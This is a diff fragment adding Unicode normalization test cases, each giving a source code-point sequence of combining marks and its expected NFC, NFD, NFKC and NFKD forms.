+{ source: [0x0061, 0x110B9, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x110BA, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x110BA, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x110BA, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x110BA, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x110BA, 0x3099, 0x0062] },
+{ source: [0x0061, 0x110BA, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x110BA, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x110BA, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x110BA, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x110BA, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11100, 0x0062], NFC: [0x00E0, 0x05AE, 0x11100, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11100, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11100, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11100, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11100, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11101, 0x0062], NFC: [0x00E0, 0x05AE, 0x11101, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11101, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11101, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11101, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11101, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11102, 0x0062], NFC: [0x00E0, 0x05AE, 0x11102, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11102, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11102, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11102, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11102, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11133, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11133, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11134, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11134, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x11173, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x11173, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x11173, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x11173, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x11173, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11173, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x11173, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x11173, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x11173, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x11173, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x111C0, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x111C0, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x111CA, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x111CA, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x111CA, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x111CA, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x111CA, 0x3099, 0x0062] },
+{ source: [0x0061, 0x111CA, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x111CA, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x111CA, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x111CA, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x111CA, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11235, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11235, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x11236, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x11236, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x11236, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x11236, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x11236, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11236, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x11236, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x11236, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x11236, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x11236, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x112E9, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x112E9, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x112E9, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x112E9, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x112E9, 0x3099, 0x0062] },
+{ source: [0x0061, 0x112E9, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x112E9, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x112E9, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x112E9, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x112E9, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x112EA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x112EA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x1133C, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x1133C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x1133C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x1133C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x1133C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1133C, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x1133C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x1133C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x1133C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x1133C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1134D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1134D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11366, 0x0062], NFC: [0x00E0, 0x05AE, 0x11366, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11366, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11366, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11366, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11366, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11367, 0x0062], NFC: [0x00E0, 0x05AE, 0x11367, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11367, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11367, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11367, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11367, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11368, 0x0062], NFC: [0x00E0, 0x05AE, 0x11368, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11368, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11368, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11368, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11368, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11369, 0x0062], NFC: [0x00E0, 0x05AE, 0x11369, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11369, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11369, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11369, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11369, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11370, 0x0062], NFC: [0x00E0, 0x05AE, 0x11370, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11370, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11370, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11370, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11370, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11371, 0x0062], NFC: [0x00E0, 0x05AE, 0x11371, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11371, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11371, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11371, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11371, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11372, 0x0062], NFC: [0x00E0, 0x05AE, 0x11372, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11372, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11372, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11372, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11372, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11373, 0x0062], NFC: [0x00E0, 0x05AE, 0x11373, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11373, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11373, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11373, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11373, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11374, 0x0062], NFC: [0x00E0, 0x05AE, 0x11374, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11374, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11374, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11374, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11374, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11442, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11442, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x11446, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x11446, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x11446, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x11446, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x11446, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11446, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x11446, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x11446, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x11446, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x11446, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x114C2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x114C2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x114C3, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x114C3, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x114C3, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x114C3, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x114C3, 0x3099, 0x0062] },
+{ source: [0x0061, 0x114C3, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x114C3, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x114C3, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x114C3, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x114C3, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x115BF, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x115BF, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x115C0, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x115C0, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x115C0, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x115C0, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x115C0, 0x3099, 0x0062] },
+{ source: [0x0061, 0x115C0, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x115C0, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x115C0, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x115C0, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x115C0, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1163F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1163F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x116B6, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x116B6, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062] },
